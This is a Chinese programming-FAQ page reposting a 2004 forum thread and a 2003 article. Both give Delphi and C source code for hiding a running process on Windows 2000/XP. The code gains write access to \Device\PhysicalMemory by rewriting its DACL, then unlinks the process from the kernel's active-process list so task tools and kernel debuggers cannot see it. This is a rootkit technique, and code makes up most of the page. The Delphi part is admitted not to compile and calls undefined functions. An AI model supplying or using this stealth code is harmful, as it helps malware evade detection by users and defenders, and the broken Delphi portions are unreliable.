首页  编辑  

2k,xp下隐藏进程的原码(非dll注入)

Tags: /超级猛料/OS.操作系统/Process.进程/   Date Created:

2k,xp下隐藏进程的原码(非dll注入)

来自:kiss2, 时间:2004-12-17 15:49:00, ID:2934888 [显示:小字体 | 大字体]  

我相信这个问题已经捆饶大家很久了,这个不是利用DLL注入的

以下是我搜集的代码,但是编译还通不过,哪位高手能改改应该就可以了

编译需要先下载JEDI的Win32API库 地址:ftp://delphi-jedi.org/api/

unit NTDLLIntf;

interface

uses

 JwaWinType, JwaWinNT;

type

 CWSTR = JwaWinType.WCHAR;

 PCWSTR = ^CWSTR;

const

 KernelLib = 'NTDLL.DLL';

procedure RtlInitUnicodeString(

   DestinationString: PUNICODE_STRING;

   SourceString: PCWSTR); stdcall;

function ZwOpenSection(

   SectionHandle: PHANDLE;

   DesiredAccess: ACCESS_MASK;

   ObjectAttributes: POBJECT_ATTRIBUTES): NTSTATUS; stdcall;

function ZwClose(

   aHandle: HANDLE): NTSTATUS; stdcall;

implementation

procedure RtlInitUnicodeString(

   DestinationString: PUNICODE_STRING;

   SourceString: PCWSTR); external KernelLib; stdcall;

function ZwOpenSection(

   SectionHandle: PHANDLE;

   DesiredAccess: ACCESS_MASK;

   ObjectAttributes: POBJECT_ATTRIBUTES): NTSTATUS; external KernelLib; stdcall;

function ZwClose(

   aHandle: HANDLE): NTSTATUS; external KernelLib; stdcall;

end.

=====================================

=====================================

unit Ring0;

interface

uses

   Windows,SysUtils,Aclapi,Accctrl,

   JwaWinType,

 JwaWinNT,

 JwaAclApi,

 JwaAccCtrl,

 JwaNTStatus,

 NTDLLIntf;//

type

   _GDTENTRYR = packed record

       Limit    : WORD ;

       BaseLow  : WORD ;

       BaseHigh : WORD ;

   end;

   TGDTENTRYR = _GDTENTRYR;

   PGDTENTRYR = ^TGDTENTRYR;

   _CALLGATE_DESCRIPTOR = packed record

       Offset_0_15                : WORD;

       Selector                   : WORD ;

       ParamCount_SomeBits        : Byte ;  // ParamCount:4 SomeBits:4

       Type_AppSystem_Dpl_Present : Byte ;  // Type:4 AppSystem:1 Dpl:2 Present:1

       Offset_16_31               : WORD ;

   end;

   TCALLGATE_DESCRIPTOR = _CALLGATE_DESCRIPTOR;

   PCALLGATE_DESCRIPTOR = ^TCALLGATE_DESCRIPTOR;

function ReadWritePhyMem(Address: DWORD; Length: DWORD; Buffer: PChar;ReadOrNot: Boolean = True): Boolean;

function AddressIn4MBPage(Address: ULONG): Boolean;

function SetPhysicalMemorySectionCanBeWrited(hSection: THandle): Boolean;

function OpenPhysicalMemory: THandle;

procedure ClosePhysicalMemory(hPhysicalMemorySection: THandle);

const ObjectPhysicalMemoryDeviceName:WideString='\Device\PhysicalMemory';

implementation

procedure ClosePhysicalMemory(hPhysicalMemorySection: THandle);

begin

 ZwClose(hPhysicalMemorySection);

end;

function AddressIn4MBPage(Address: ULONG): Boolean;

begin

 Result := (Address > 0) and ($80000000<=Address) and (Address<$A0000000)

end;

function SetPhysicalMemorySectionCanBeWrited(hSection: THandle): Boolean;

var

 pDacl: PACL;

 pNewDacl: PACL;

 pSD: PSECURITY_DESCRIPTOR;

 dwRes: Cardinal;

 ea: EXPLICIT_ACCESS_A;

 label CleanUp;

begin

 Result:=False;

 pDacl:=Nil;

 pNewDacl:=Nil;

 pSD:=Nil;

 dwres:=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,nil,

   nil,@pDacl,nil,pSD);

 try

   if dwres<>ERROR_SUCCESS then

     Exit;

   FillChar(ea,SizeOf(EXPLICIT_ACCESS),0);

   ea.grfAccessPermissions:=SECTION_MAP_WRITE;

   ea.grfAccessMode:=GRANT_ACCESS;

   ea.grfInheritance:=NO_INHERITANCE;

   ea.Trustee.TrusteeForm:=TRUSTEE_IS_NAME;

   ea.Trustee.TrusteeType:=TRUSTEE_IS_USER;

   ea.Trustee.ptstrName:='CURRENT_USER';

   SetEntriesInAcl(1,@ea,Nil,pNewDacl);

   dwRes:=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,

     Nil,Nil,pNewDacl,Nil);

   if dwRes=ERROR_SUCCESS then

     Exit;

   Result:=True;

 finally

   if pSD<>Nil then

     LocalFree(Cardinal(pSD));

   if pNewDacl<>Nil then

     LocalFree(Cardinal(pSD));

 end;

end;

function GetPhysicalAddress(vAddress:ULONG):LARGE_INTEGER;

begin

  if (vAddress < $80000000) or (vAddress >= $A0000000) then

     Result.QuadPart  :=  vAddress and $FFFF000

  else

     Result.QuadPart  :=  vAddress and $1FFFF000;

end;

function OpenPhysicalMemory: THandle;

var

 hSection : THandle;

 status: NTSTATUS;

 objName: UNICODE_STRING;

 objectAttributes: OBJECT_ATTRIBUTES;

begin

 Result := 0;

 RtlInitUnicodeString(@objName, @ObjectPhysicalMemoryDeviceName[1]);

 InitializeObjectAttributes(@objectAttributes, @objName,

   OBJ_CASE_INSENSITIVE or OBJ_KERNEL_HANDLE, 0, nil);

 status := ZwOpenSection(@hSection, SECTION_MAP_READ or SECTION_MAP_WRITE, @objectAttributes);

 if (status = STATUS_ACCESS_DENIED) then

    begin

      status := ZwOpenSection(@hSection, READ_CONTROL or WRITE_DAC, @objectAttributes);

      if status = STATUS_SUCCESS then  SetPhysicalMemorySectionCanBeWrited(hSection);

      ZwClose(hSection);

      status := ZwOpenSection(@hSection, SECTION_MAP_READ or SECTION_MAP_WRITE, @objectAttributes);

    end;

 if status = STATUS_SUCCESS then Result :=hSection;

end;

function MapPhysicalMemory(ReadOrNot: Boolean; PhysicalMemory: THandle;

 Address: DWORD; Length: DWORD; var VirtualAddress: pointer): Boolean;

var

 Access: Cardinal;

 Status: NTSTATUS;

 Base:LARGE_INTEGER;

   SystemInfo: TSystemInfo;

   Offset,Granularity: ULONG;

begin

 Result := FALSE;

   GetSystemInfo(SystemInfo);

   Granularity := SystemInfo.dwAllocationGranularity;

   Offset := Address mod Granularity;

   Length := Length + Offset;

 if ReadOrNot then

   Access:=PAGE_READONLY

 else

   Access:=PAGE_READWRITE;

 VirtualAddress :=nil;

 Base:=GetPhysicalAddress(Address-Offset);

 status := NtMapViewOfSection(PhysicalMemory,

       THandle(-1),

       VirtualAddress,

       0,

       Length,

       Base,

       Length,

       ViewShare,

       0,

       Access);

 if not NT_SUCCESS(Status) then

   Exit;

 VirtualAddress:=Pointer(DWORD(VirtualAddress)+Offset);

 //Inc(DWORD(VirtualAddress),Address Mod $1000);

 Result:=True;

end;

procedure UnMapPhysicalMemory(Address: Pointer);

begin

 NtUnmapViewOfSection(THandle(-1), Address);

end;

function ReadWritePhyMem(Address: DWORD; Length: DWORD; Buffer: PChar;

 ReadOrNot: Boolean = True): Boolean;

var

 PhysMem: THandle;

 vAddress: Pointer;

begin

 Result:=False;

 PhysMem:=OpenPhysicalMemory;

 if PhysMem=0 then

   Exit;

 if not MapPhysicalMemory(ReadOrNot,PhysMem,Address,Length,vAddress) then

   Exit;

 try

   if ReadOrNot then

     Move(vAddress^,Buffer^,Length)

   else

     Move(Buffer^,vAddress^,Length);

   Result:=True;

 except

   on E: Exception do

     MessageBox(0,PChar('缓冲区长度不足或内存跨段。'#13+

       '每个内存段为 4KB 的整数倍,每次读写不能跨越多个不同的内存段。'),

       '错误',MB_ICONERROR+MB_OK+MB_SYSTEMMODAL);

 end;

 UnMapPhysicalMemory(vAddress);

 ZwClose(PhysMem);

end;

function InstallCallgate(Section:THandle; FunProc:ULONG):ULONG;

var

   gdt : TGDTENTRYR;

begin

   asm sgdt gdt end;

end;

end.

=============================

===============================

unit Unit1;

interface

uses

 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

 Dialogs, StdCtrls,Ring0;

type

 TForm1 = class(TForm)

   Button1: TButton;

   procedure Button1Click(Sender: TObject);

 private

   { Private declarations }

 public

   { Public declarations }

 end;

var

 Form1: TForm1;

implementation

{$R *.dfm}

function HideProcess: boolean;

label Err;

var

 EProcess : DWord;

 hPM, FLink, BLink: Cardinal;

begin

 Result := false;

 EProcess := GetCurrentProcess;

 if EProcess < 1 then Exit;

 if AddressIn4MBPage(EProcess) then

    begin

      hPM := OpenPhysicalMemory;

      if WinNTOSVersion = 50 then

         begin  // Windows 2000

           if not ReadVirtualMemory(hPM, EProcess+$A0, @FLink, 4) then GoTo Err;

           if not ReadVirtualMemory(hPM, EProcess+$A4, @BLink, 4) then GoTo Err;

         end else

         begin  // Windows XP/2003

           if not ReadVirtualMemory(hPM, EProcess+$88, @FLink, 4) then GoTo Err;

           if not ReadVirtualMemory(hPM, EProcess+$8C, @BLink, 4) then GoTo Err;

         end;

      if not WriteVirtualMemory(hPM, FLink+4, @BLink, 4) then GoTo Err;

      if not WriteVirtualMemory(hPM, BLink, @FLink, 4) then GoTo Err;

      ClosePhysicalMemory(hPM);

      Result := true;

      Exit;

      Err:

      ClosePhysicalMemory(hPM);

      Exit;

    end;

//非4MB页的处理:

 if WinNTOSVersion < 51 then Exit;  // not support by Win2000

 if not ReadVirtualMemory(EProcess+$88, @FLink, 4) then Exit;

 if not ReadVirtualMemory(EProcess+$8C, @BLink, 4) then Exit;

 if not WriteVirtualMemory(FLink+4, @BLink, 4) then Exit;

 if not WriteVirtualMemory(BLink, @FLink, 4) then Exit;

 Result := true;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

HideProcess;

end;

end.

---------------------------------------

原理很简单的,删除APL上的节点就能隐藏

APL?Active Process Link,位于系统内核区的活动进程双向链表,访问需要Ring0权限

当然可以用Delphi实现的:)

Delphi进入Ring0:http://community.csdn.net/Expert/topic/3570/3570742.xml?temp=.9372827

FAQ中也有的

LY的方法:

function HideProcess: boolean;

label Err;

var

 EProcess : DWord;

 hPM, FLink, BLink: Cardinal;

begin

 Result := false;

 EProcess := GetCurrentEProcess;

 if EProcess < 1 then Exit;

 if AddressIn4MBPage(EProcess) then

    begin

      hPM := OpenPhysicalMemory;

      if WinNTOSVersion = 50 then

         begin  // Windows 2000

           if not ReadVirtualMemory(hPM, EProcess+$A0, @FLink, 4) then GoTo Err;

           if not ReadVirtualMemory(hPM, EProcess+$A4, @BLink, 4) then GoTo Err;

         end else

         begin  // Windows XP/2003

           if not ReadVirtualMemory(hPM, EProcess+$88, @FLink, 4) then GoTo Err;

           if not ReadVirtualMemory(hPM, EProcess+$8C, @BLink, 4) then GoTo Err;

         end;

      if not WriteVirtualMemory(hPM, FLink+4, @BLink, 4) then GoTo Err;

      if not WriteVirtualMemory(hPM, BLink, @FLink, 4) then GoTo Err;

      ClosePhysicalMemory(hPM);

      Result := true;

      Exit;

      Err:

      ClosePhysicalMemory(hPM);

      Exit;

    end;

//非4MB页的处理:

 if WinNTOSVersion < 51 then Exit;  // not support by Win2000

 if not ReadVirtualMemory(EProcess+$88, @FLink, 4) then Exit;

 if not ReadVirtualMemory(EProcess+$8C, @BLink, 4) then Exit;

 if not WriteVirtualMemory(FLink+4, @BLink, 4) then Exit;

 if not WriteVirtualMemory(BLink, @FLink, 4) then Exit;

 Result := true;

end;

就只能提供这些了,更多的自己去研究吧,公司的Source不能全公开的:)

---------------------------------------

Win2000下进程隐藏的一种方案

创建时间:2003-09-15

文章属性:原创

文章提交:pjf_ (pjf_at_ustc.edu)

十分抱歉,匆匆写了几句代码有点bug,即"ZwOpenSection(&g_hMPM,SECTION_MAP_WRITE|SECTION_MAP_WRITE,&attributes)"使得第一次运行返回失败,请删除原文,改正为:

                            pjf (jfpan20000@sina.com)

   上次在CVC提到了这东西,因为很简单觉得没必要多说什么,但有人要求写全,所以补充几句:

   很多帖子对此论题作了分析,比如APIHOOK、系统服务HOOK等等,至于远线程注入没有自己的进程,本不算"隐藏"。

这里写一个2000下的完全隐藏方法,很简单,也没什么新意。

  在讲解之前,首先提一提一些结构,进程执行体块中有数个进程相关链,其中之一是活动进程链。此链的重要

作用之一就是在查询系统信息时供遍历当前活动进程,很有意思的是M$可能因效率因素使它被排除出进程核心块,

意味进线程切换等操作时并不利用它,进一步说改写它也不该有不可忽视的问题(此即本方案的基础)。

  怎么做很明显了,在活动进程双向链中删除想要得隐藏的进程既可,核心调试器(如softice/proc)亦查不出来。

2000下的隐藏当前进程的代码如下:

#include<windows.h>

#include<Accctrl.h>

#include<Aclapi.h>

#define NT_SUCCESS(Status)            ((NTSTATUS)(Status) >= 0)

#define STATUS_INFO_LENGTH_MISMATCH        ((NTSTATUS)0xC0000004L)

#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)

typedef LONG  NTSTATUS;

typedef struct _IO_STATUS_BLOCK

{

   NTSTATUS    Status;

   ULONG        Information;

} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _UNICODE_STRING

{

   USHORT        Length;

   USHORT        MaximumLength;

   PWSTR        Buffer;

} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_INHERIT             0x00000002L

#define OBJ_PERMANENT           0x00000010L

#define OBJ_EXCLUSIVE           0x00000020L

#define OBJ_CASE_INSENSITIVE    0x00000040L

#define OBJ_OPENIF              0x00000080L

#define OBJ_OPENLINK            0x00000100L

#define OBJ_KERNEL_HANDLE       0x00000200L

#define OBJ_VALID_ATTRIBUTES    0x000003F2L

typedef struct _OBJECT_ATTRIBUTES

{

   ULONG        Length;

   HANDLE        RootDirectory;

   PUNICODE_STRING ObjectName;

   ULONG        Attributes;

   PVOID        SecurityDescriptor;

   PVOID        SecurityQualityOfService;

} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;  

typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(

                      OUT PHANDLE  SectionHandle,

                      IN  ACCESS_MASK  DesiredAccess,

                      IN  POBJECT_ATTRIBUTES  ObjectAttributes

                      );

typedef VOID (CALLBACK* RTLINITUNICODESTRING)(                

                         IN OUT PUNICODE_STRING  DestinationString,

                         IN PCWSTR  SourceString

                         );

RTLINITUNICODESTRING        RtlInitUnicodeString;

ZWOPENSECTION            ZwOpenSection;

HMODULE    g_hNtDLL = NULL;

PVOID     g_pMapPhysicalMemory = NULL;

HANDLE     g_hMPM     = NULL;

BOOL InitNTDLL()

{

   g_hNtDLL = LoadLibrary( "ntdll.dll" );

   if ( !g_hNtDLL )

   {

       return FALSE;

   }

   RtlInitUnicodeString =

       (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString");

   

   ZwOpenSection =

       (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");

   

   return TRUE;

}

VOID CloseNTDLL()

{

   if(g_hNtDLL != NULL)

   {

       FreeLibrary(g_hNtDLL);

   }

}

VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)

{

   

   PACL pDacl=NULL;

   PACL pNewDacl=NULL;

   PSECURITY_DESCRIPTOR pSD=NULL;

   DWORD dwRes;

   EXPLICIT_ACCESS ea;

   

   if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,

       NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)

   {

       goto CleanUp;

   }

   

   ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));

   ea.grfAccessPermissions = SECTION_MAP_WRITE;

   ea.grfAccessMode = GRANT_ACCESS;

   ea.grfInheritance= NO_INHERITANCE;

   ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;

   ea.Trustee.TrusteeType = TRUSTEE_IS_USER;

   ea.Trustee.ptstrName = "CURRENT_USER";

   

   

   if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)

   {

       goto CleanUp;

   }

   

   if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)

   {

       goto CleanUp;

   }

   

CleanUp:

   

   if(pSD)

       LocalFree(pSD);

   if(pNewDacl)

       LocalFree(pNewDacl);

}

HANDLE OpenPhysicalMemory()

{

   NTSTATUS        status;

   UNICODE_STRING        physmemString;

   OBJECT_ATTRIBUTES    attributes;

   

   RtlInitUnicodeString( &physmemString, L"\\Device\\PhysicalMemory" );

   

   attributes.Length            = sizeof(OBJECT_ATTRIBUTES);

   attributes.RootDirectory        = NULL;

   attributes.ObjectName            = &physmemString;

   attributes.Attributes            = 0;

   attributes.SecurityDescriptor        = NULL;

   attributes.SecurityQualityOfService    = NULL;

   

   status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);

   

   if(status == STATUS_ACCESS_DENIED){

       status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes);

       SetPhyscialMemorySectionCanBeWrited(g_hMPM);

       CloseHandle(g_hMPM);

       status =ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);

   }

   if( !NT_SUCCESS( status ))

   {

       return NULL;

   }

   

   g_pMapPhysicalMemory = MapViewOfFile(

       g_hMPM,

       4,

       0,

       0x30000,

       0x1000);

   if( g_pMapPhysicalMemory == NULL )

   {

       return NULL;

   }

   

   return g_hMPM;

}

PVOID LinearToPhys(PULONG BaseAddress,PVOID addr)

{

   ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr;

   PGDE=BaseAddress[VAddr>>22];

   if ((PGDE&1)!=0)

   {

       ULONG tmp=PGDE&0x00000080;

       if (tmp!=0)

       {

           PAddr=(PGDE&0xFFC00000)+(VAddr&0x003FFFFF);

       }

       else

       {

           PGDE=(ULONG)MapViewOfFile(g_hMPM, 4, 0, PGDE & 0xfffff000, 0x1000);

           PTE=((PULONG)PGDE)[(VAddr&0x003FF000)>>12];

           if ((PTE&1)!=0)

           {

               PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF);

               UnmapViewOfFile((PVOID)PGDE);

           }

           else return 0;

       }

   }

   else return 0;

   return (PVOID)PAddr;

}

ULONG GetData(PVOID addr)

{

   ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);

   PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0x1000);

   if (tmp==0)

       return 0;

   ULONG ret=tmp[(phys & 0xFFF)>>2];

   UnmapViewOfFile(tmp);

   return ret;

}

BOOL SetData(PVOID addr,ULONG data)

{

   ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);

   PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);

   if (tmp==0)

       return FALSE;

   tmp[(phys & 0xFFF)>>2]=data;

   UnmapViewOfFile(tmp);

   return TRUE;

}

BOOL HideProcessAtAll()

{

   if (InitNTDLL())

   {

       if (OpenPhysicalMemory()==0)

       {

           return FALSE;

       }

       ULONG thread=GetData((PVOID)0xFFDFF124);

       ULONG process=GetData(PVOID(thread+0x22c));

       ULONG fw=GetData(PVOID(process+0xa0)),bw=GetData(PVOID(process+0xa4));

       SetData(PVOID(fw+4),bw);

       SetData(PVOID(bw),fw);

       UnmapViewOfFile(g_pMapPhysicalMemory);

       CloseHandle(g_hMPM);

       CloseNTDLL();

   }

   return TRUE;

}

   调用HideProcessAtAll即隐藏当前进程,如若一运行就隐藏,会修改到进程活动链表头,运行一段时间

后可能出现些小问题,怎么解决,留作"课后习题"了^_^

   注意默认物理地址0x30000为一页目录,在大多数情况时这样,但是是有例外的!怎么解决亦留作"..."

吧,不多废话了。

  稍微改一下偏移可移植于NT/XP/2003。